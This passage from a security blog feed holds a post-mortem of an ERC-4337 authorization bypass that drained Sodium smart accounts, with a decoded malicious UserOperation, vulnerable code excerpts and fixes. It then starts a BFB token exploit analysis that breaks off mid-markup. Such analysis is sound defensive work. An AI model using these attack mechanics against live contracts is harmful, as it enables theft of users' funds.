placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><h2>Incident Overview</h2><ul><li><p><strong>Date:</strong> July 13, 2026</p></li><li><p><strong>Network:</strong> Arbitrum One</p></li><li><p><strong>Reported loss:</strong> Approximately $270,000</p></li><li><p><strong>Attack type:</strong> ERC-4337 authorization bypass plus validation-phase ERC-20 approval</p></li><li><p><strong>Affected component:</strong> Sodium smart accounts</p></li><li><p><strong>Sodium implementation:</strong> <code>0xb5BC46dF04dEe31D219E7664122e29EEd9506b8b</code></p></li><li><p><strong>ERC-4337 EntryPoint v0.6:</strong> <code>0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789</code></p></li><li><p><strong>Attacker EOA:</strong> <code>0xCe1a3BB0b98D0D90C7Dd0620Ab86C9A771888d88</code></p></li><li><p><strong>Malicious contract:</strong> <code>0x56362412AE17cac443AAFBAb4289946Ad958E8a1</code></p></li><li><p><strong>Example approval transaction:</strong> <code>0x630654fb1c8914405cf81bb02f091b049f19403a152f624f7b8a00c7724c6604</code></p></li><li><p><strong>Example drain transaction:</strong> <code>0x1cdba4c3f9c925e6d03ce8d07965a7521ee4e7258f6c5eeae8a7998886c2b9f0</code></p></li></ul><p>This blog follows one account, <code>0x0209...16BD</code>, as a concrete example. The same malicious contract acted as its ERC-1271 signer, proposed session key, paymaster, ERC-20 spender, and later token sweeper.</p><h2>Exploit Mechanics</h2><h3>1. The Actual On-Chain Call Flow</h3><p>The attacker did not call <code>validateUserOp</code> directly. Sodium&#8217;s <code>_requireFromEntryPoint()</code> would reject such a call. Instead, the attacker routed the operation through the EntryPoint configured in the account:</p><pre><code><code>[1] Attacker EOA 0xCe1a...8d88
        &#8595; calls the attack coordinator
[2] Malicious contract 0x5636...8e8a1
        &#8595; handleOps() &#8212; selector 0x1fad948c
[3] EntryPoint 0x5FF1...2789
        &#8595; validateUserOp() &#8212; selector 0x3a871cdd
[4] Sodium proxy 0x0209...16BD
        &#8595; delegatecall
[5] Sodium implementation 0xb5BC...6b8b
</code></code></pre><p><code>handleOps</code> processed the transaction in two separate loops. EntryPoint first completed account validation, paymaster validation, and validation-data checks for the submitted UserOperations. Only after that validation loop finished did it start the account-execution loop. The trace confirms that every <code>validateUserOp</code> call preceded every <code>executeWithSodiumAuthSession</code> call. This article follows one example operation across those two phases; validation and execution were not interleaved operation by operation.</p><p>At <strong>[3]</strong>, <code>msg.sender</code> as seen by the account was the trusted EntryPoint, so the following guard passed:</p><pre><code><code>// [1] Direct attacker calls fail here.
// [2] The exploit passes because EntryPoint is the immediate caller.
require(msg.sender == address(entryPoint()), "account: not from EntryPoint");
</code></code></pre><p>The decoded example <code>UserOperation</code> contained:</p><pre><code><code>sender:                0x0209...16BD       // [1] Example Sodium account
nonce:                 231
callData selector:     0x28f8aa4d          // [2] executeWithSodiumAuthSession
proposed sessionKey:   0x5636...8e8a1      // [3] Attacker-controlled contract
authProof:             0x                  // [4] Empty in the decoded callData
transactions:          []                  // [5] No wallet actions requested
callGasLimit:          0                   // [6] Account subcall will fail with zero gas
verificationGasLimit:  800000              // [7] Validation still has gas
paymasterAndData:      0x5636...8e8a1
                       || 095ea7b3
                       || fd086b...fcbb9    // [8] Malicious spender + approve selector + USDT0
signature:             0x01
                       || 5636...8e8a1
                       || 00               // [9] Contract signer + arbitrary one-byte payload
</code></code></pre><p>The distinction between <strong>[6]</strong> and <strong>[7]</strong> is crucial: the attacker gave validation enough gas to create the approval, while setting the later wallet execution gas to zero.</p><h3>2. How Arbitrary Signature Bytes Became a Valid Sodium Result</h3><p>Sodium&#8217;s type-<code>0x01</code> signature format lets the UserOperation name the signer itself:</p><pre><code><code>// Simplified from checkValidSodiumSignature; byte ranges and logic are preserved.
// Signature layout: {0x01}{20-byte signer}{signature bytes}
if (sigType == 0x01) {
    signer = address(bytes20(_signature[1:21])); // [1] Supplied by the attacker
    signatureBytes = _signature[21:];            // [2] The example contains arbitrary 0x00

    valid = SignatureChecker.isValidSignatureNow(
        signer,                                  // [3] Malicious contract 0x5636...8e8a1
        _hash,
        signatureBytes
    );
}
</code></code></pre><p>The one-byte payload <code>0x00</code> is not a valid ECDSA signature. That alone did not make the UserOperation fail. After ECDSA recovery failed, OpenZeppelin&#8217;s <code>SignatureChecker</code> made an ERC-1271 call to the supplied signer; because that address was the malicious contract, it could deliberately accept the arbitrary payload:</p><pre><code><code>[1] ECDSA.tryRecover(hash, 0x00)
        &#8594; fails

[2] 0x5636...8e8a1.isValidSignature(hash, 0x00)
        &#8594; returns 0x1626ba7e

[3] SignatureChecker result
        &#8594; valid = true
        &#8594; signer = 0x5636...8e8a1
</code></code></pre><p><code>0x1626ba7e</code> is the ERC-1271 magic value for a recognized signature. The raw trace shows the malicious contract returning that exact value.</p><p>Sodium then extracted the proposed <code>sessionKey</code> from the same UserOperation&#8217;s <code>callData</code>. It did not require this key to be an existing authorized session in the vulnerable branch:</p><pre><code><code>// Simplified pseudocode; the source extracts callData bytes [16:36] directly.
// [1] Attacker-controlled callData supplies the proposed session key.
address sessionKey = extractSessionKey(userOp.callData);

// [2] No configured safe session makes isSafe true by default.
bool isSafe = _safeSession.owner == address(0);

// [3] The external validator is skipped while isSafe is already true.
if (!isSafe) {
    isSafe = validator.validateUserOp(userOp) &lt; 2;
}

// [4] Both equal addresses came from attacker-controlled fields.
return sessionKey == signer &amp;&amp; isSafe ? 0 : 1;
</code></code></pre><p>For the example operation:</p><pre><code><code>sessionKey = 0x5636...8e8a1   // [1] From callData
signer     = 0x5636...8e8a1   // [2] From signature
isSafe     = true             // [3] No safe session configured

result     = 0                // [4] Reported as valid to EntryPoint
</code></code></pre><p>Therefore, the accurate statement is: <strong>the attacker did not provide a valid owner ECDSA signature; it supplied arbitrary bytes that its own ERC-1271 contract deliberately accepted</strong>. Sodium then accepted that unauthorized contract as the signer. The successful exploit operation did not return signature failure; the raw <code>validateUserOp</code> output is 32 bytes of zero.</p><p>This bypass affected validation only. Had <code>executeWithSodiumAuthSession</code> actually run, it would have called <code>validateAddSessionProof</code>. The attacker avoided that check by assigning zero execution gas after the validation side effect had already occurred.</p><h3>3. The Approval Side Effect Inside <code>validateUserOp</code></h3><p>After <code>_validateSignature</code>, Sodium continued into <code>_approvePaymasterToken</code> without checking the result:</p><pre><code><code>function validateUserOp(
    UserOperation calldata userOp,
    bytes32 userOpHash,
    uint256 missingAccountFunds
) external returns (uint256 validationData) {
    _requireFromEntryPoint();

    validationData = _validateSignature(userOp, userOpHash); // [1] Returns 0 or 1 in this session path
    _validateNonce(userOp.nonce);
    _payPrefund(missingAccountFunds);

    _approvePaymasterToken(userOp);                          // [2] Runs for both values
}
</code></code></pre><p>So yes: <strong>inside Sodium, even a signature result of </strong><code>1</code><strong> still reaches </strong><code>approve</code>. However, that does not mean an invalid operation can retain the allowance. EntryPoint later decides whether all validation-phase changes remain or are rolled back, as explained in the next section.</p><p>The approval helper parsed an exact 44-byte payload:</p><pre><code><code>paymaster address (20 bytes)   // [1] Becomes the ERC-20 spender
|| 0x095ea7b3 (4 bytes)        // [2] approve(address,uint256) selector
|| token address (20 bytes)    // [3] Token chosen by the UserOperation submitter
</code></code></pre><p>It then trusted the alleged paymaster to choose the allowance threshold and amount:</p><pre><code><code>// [1] Both values are returned by the untrusted paymaster.
(uint256 miniAllowance, uint256 suggestApproveValue) =
    paymaster.getTokenAllowanceCast(payToken);

// [2] Spender is the same untrusted paymaster address.
if (payToken.allowance(address(this), address(paymaster)) &lt; miniAllowance) {
    payToken.approve(address(paymaster), suggestApproveValue); // [3] Persistent token approval
}
</code></code></pre><p>For the example USDT0 operation, the malicious contract returned:</p><pre><code><code>miniAllowance       = 1                    // [1] Forces approval when allowance is zero
suggestApproveValue = 2^256 - 1            // [2] Maximum uint256 allowance
spender             = 0x5636...8e8a1       // [3] Malicious contract
token               = 0xFd086b...fCbb9     // [4] USDT0
</code></code></pre><p>The trace then shows the Sodium account calling USDT0 <code>approve(0x5636...8e8a1, type(uint256).max)</code>, with the token returning <code>true</code>.</p><h3>4. Where EntryPoint Would Revert, and Why It Did Not</h3><p>After <code>validateUserOp</code> and paymaster validation return, EntryPoint v0.6 parses the account&#8217;s <code>validationData</code>. For an ordinary non-aggregated UserOperation, it expects the aggregator field to be <code>address(0)</code>:</p><pre><code><code>// [1] Low 160 bits of validationData are interpreted as an aggregator address.
(address aggregator, bool outOfTimeRange) =
    _getValidationData(validationData);

// [2] expectedAggregator is address(0) for this handleOps path.
// [3] A Sodium result of 1 parses as address(1), triggering AA24.
if (expectedAggregator != aggregator) {
    revert FailedOp(opIndex, "AA24 signature error");
}
</code></code></pre><p>The rollback branch is:</p><pre><code><code>[1] Sodium signature check returns 1
        &#8595;
[2] Sodium still calls approve temporarily
        &#8595;
[3] EntryPoint parses 1 as aggregator = address(1)
        &#8595;
[4] EntryPoint reverts with AA24
        &#8595;
[5] The whole handleOps transaction reverts; approval is erased
</code></code></pre><p>The exploited branch was different:</p><pre><code><code>[1] Unauthorized ERC-1271 signer makes Sodium return 0
        &#8595;
[2] Sodium grants the attacker-controlled allowance
        &#8595;
[3] Malicious paymaster validation also returns 0
        &#8595;
[4] EntryPoint sees aggregator = address(0); no AA24
        &#8595;
[5] EntryPoint attempts account execution with callGasLimit = 0
        &#8595;
[6] The account subcall fails out of gas; innerHandleOp records opReverted
        &#8595;
[7] handleOps completes; the validation-phase approval remains
</code></code></pre><p>This is why the signature bypass was necessary. Merely reaching <code>approve</code> after a failed Sodium check would not have been enough: <code>AA24</code> would have reverted it. The attacker needed Sodium to report <code>0</code>, then relied on <code>innerHandleOp</code> converting the failed account subcall into an <code>opReverted</code> result rather than reverting the entire <code>handleOps</code> transaction. EntryPoint&#8217;s surrounding <code>try/catch</code> is an additional isolation layer for cases where <code>innerHandleOp</code> itself reverts; it was not the mechanism that handled this zero-gas account call.</p><h3>5. The Separate Drain Transaction</h3><p>The approval transaction did not itself transfer USDT0. It created a durable spending right for the malicious contract.</p><p>In the later drain transaction, the trace shows this exact sequence for the example account:</p><pre><code><code>[1] USDT0.balanceOf(0x0209...16BD)
        &#8594; 99,577,041 base units

[2] USDT0.allowance(0x0209...16BD, 0x5636...8e8a1)
        &#8594; 2^256 - 1

[3] USDT0.transferFrom(
        0x0209...16BD,             // token owner
        0x5636...8e8a1,            // recipient and approved spender
        99,577,041                  // full observed balance
    )
        &#8594; true
</code></code></pre><p>The same drain transaction also contains token swaps through Uniswap V3 and WETH withdrawal calls. The security boundary had already been lost at <strong>[2]</strong>: once the unlimited allowance persisted, <code>transferFrom</code> no longer needed another wallet signature or UserOperation.</p><h2>Root Cause Analysis</h2><p>The exploit was not caused by one isolated mistake. It depended on two trust-boundary failures:</p><ol><li><p><strong>Broken session authorization:</strong> Sodium accepted equality between a proposed <code>sessionKey</code> and a signer when both were chosen by the same untrusted UserOperation. A permissive attacker-controlled ERC-1271 contract could therefore make <code>_validateSignature</code> return <code>0</code> without owner authorization.</p></li><li><p><strong>Attacker-directed state change during validation:</strong> Sodium turned untrusted <code>paymasterAndData</code> into a persistent ERC-20 approval. The alleged paymaster selected the token allowance threshold, the approval amount, and itself as spender.</p></li></ol><p>Calling the approval helper even when <code>_validateSignature</code> returned <code>1</code> was unsafe design, but it was not by itself sufficient for this successful exploit. EntryPoint would have raised <code>AA24</code> and rolled the approval back. The authorization bypass was what changed the result to <code>0</code> and allowed the approval to survive.</p><h2>Recommended Fixes</h2><ol><li><p><strong>Remove token approvals from </strong><code>validateUserOp</code><strong>.</strong> Any allowance must be an explicit owner-authorized execution action, not a validation side effect derived from <code>paymasterAndData</code>.</p></li><li><p><strong>Fail closed on session authorization.</strong> Require an existing authorized session or verify the complete owner-authorized session proof during validation; never authenticate by comparing two attacker-supplied fields.</p></li><li><p><strong>Add adversarial ERC-4337 tests.</strong> Cover permissive ERC-1271 signers, untrusted paymasters returning maximum allowances, <code>validationData</code> values <code>0</code> and <code>1</code>, <code>AA24</code> rollback, zero-gas execution, and a later <code>transferFrom</code> attempt.</p></li></ol><h2>Conclusion</h2><p>The attacker did not provide a valid owner ECDSA signature. It supplied arbitrary bytes that were invalid under ECDSA but deliberately accepted by the malicious ERC-1271 contract. The attacker-selected session key matched that contract, so Sodium returned <code>validationData = 0</code>.</p><p>That result let EntryPoint retain an unlimited token approval created during validation. The subsequent zero-gas execution failed without reverting the outer batch, and the attacker exercised the surviving allowance later through <code>transferFrom</code>.</p><p>The core account-abstraction lesson is simple: <strong>validation must not create attacker-controlled, persistent spending rights</strong>. Authentication inputs remain adversarial until they are tied to an authority that the account owner established independently of the current UserOperation.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[BFB Token Exploit Analysis]]></title><description><![CDATA[On July 8, 2026, the BFB token on BNB Smart Chain was exploited through a flaw in its custom "price-defense" deflationary logic, resulting in the loss of approximately 350.6 WBNB (~$198,000) drained from the PancakeSwap BFB/WBNB liquidity pool.]]></description><link>https://blog.verichains.io/p/bfb-token-exploit-analysis</link><guid isPermaLink="false">https://blog.verichains.io/p/bfb-token-exploit-analysis</guid><dc:creator><![CDATA[f4tu]]></dc:creator><pubDate>Mon, 13 Jul 2026 07:54:50 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!ovq2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On July 8, 2026, the <strong>BFB</strong> token on BNB Smart Chain was exploited through a flaw in its custom "price-defense" deflationary logic, resulting in the loss of approximately <strong>350.6 WBNB (~$198,000)</strong> drained from the PancakeSwap BFB/WBNB liquidity pool. Let's take a closer look at how the attack was carried out.</p><p>Attacker (EOA): <a href="https://bscscan.com/address/0x3bfa85127c9871d3f74c30e36a618a77f0ae6b0f">https://bscscan.com/address/0x3bfa85127c9871d3f74c30e36a618a77f0ae6b0f</a></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p>Attack Contract: <a href="https://bscscan.com/address/0xdd868618956418f77d922fa5d42960fb5fb01b7b">https://bscscan.com/address/0xdd868618956418f77d922fa5d42960fb5fb01b7b</a></p><p>Attack Tx: <a href="https://bscscan.com/tx/0xabcf5c5c846595b2d0849f2579b67465ed8d06f3b469cee5e3a57c1f7aed3520">https://bscscan.com/tx/0xabcf5c5c846595b2d0849f2579b67465ed8d06f3b469cee5e3a57c1f7aed3520</a></p><p>Victim: <a href="https://bscscan.com/address/0x719699762fFCC7AadBdCec4E7cf03569E5e99999">https://bscscan.com/address/0x719699762fFCC7AadBdCec4E7cf03569E5e99999</a></p><h2>Background</h2><p>BFB is a &#8220;deflationary&#8221; BEP-20 token whose contract embeds automatic burn mechanics directly into its transfer path. Two burn systems are wired into every transfer through the private <code>_transfer</code> function:</p><ol><li><p><code>_deflPool</code> &#8212; a time-based burn that removes a fixed ratio of the LP&#8217;s BFB balance once per hour.</p></li><li><p><code>_priceDeflPool</code> &#8212; a <em>price-defense</em> burn intended to &#8220;protect&#8221; the token&#8217;s price: whenever the spot price on the PancakeSwap pool falls more than a threshold below the last recorded high, the contract burns a slice of the BFB held in the pool and calls <code>sync()</code> on the pair.</p></li></ol><p>The design intent of the price-defense mechanism is straightforward tokenomics theater: if the price drops, burn BFB out of the pool to shrink supply-in-reserve and mechanically push the quoted price back up. This is precisely the feature that was weaponized.</p><p>Every transfer routes through:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ovq2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ovq2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png 424w, https://substackcdn.com/image/fetch/$s_!ovq2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png 848w, https://substackcdn.com/image/fetch/$s_!ovq2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png 1272w, https://substackcdn.com/image/fetch/$s_!ovq2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ovq2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png" width="691" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:691,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:67754,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/206807884?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ovq2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png 424w, https://substackcdn.com/image/fetch/$s_!ovq2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png 848w, https://substackcdn.com/image/fetch/$s_!ovq2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png 1272w, https://substackcdn.com/image/fetch/$s_!ovq2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8a06538-8f0f-4eff-8e78-03fb061f9af2_691x485.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Both <code>transfer()</code> and <code>transferFrom()</code> reach <code>_transfer</code>, so the burn hooks fire on essentially any token movement &#8212; including a zero-value self-transfer.</p><h2>The Vulnerability</h2><p>The root cause lives in <code>_priceDeflPool</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1LwS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1LwS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png 424w, https://substackcdn.com/image/fetch/$s_!1LwS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png 848w, https://substackcdn.com/image/fetch/$s_!1LwS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png 1272w, https://substackcdn.com/image/fetch/$s_!1LwS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1LwS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png" width="874" height="440" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:440,&quot;width&quot;:874,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:79370,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/206807884?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1LwS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png 424w, https://substackcdn.com/image/fetch/$s_!1LwS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png 848w, https://substackcdn.com/image/fetch/$s_!1LwS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png 1272w, https://substackcdn.com/image/fetch/$s_!1LwS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d96ba-bb73-421f-af88-e5ab20a6b831_874x440.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Price is computed purely from the pair&#8217;s <strong>spot reserves</strong>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SGLU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SGLU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png 424w, https://substackcdn.com/image/fetch/$s_!SGLU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png 848w, https://substackcdn.com/image/fetch/$s_!SGLU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png 1272w, https://substackcdn.com/image/fetch/$s_!SGLU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SGLU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png" width="873" height="319" 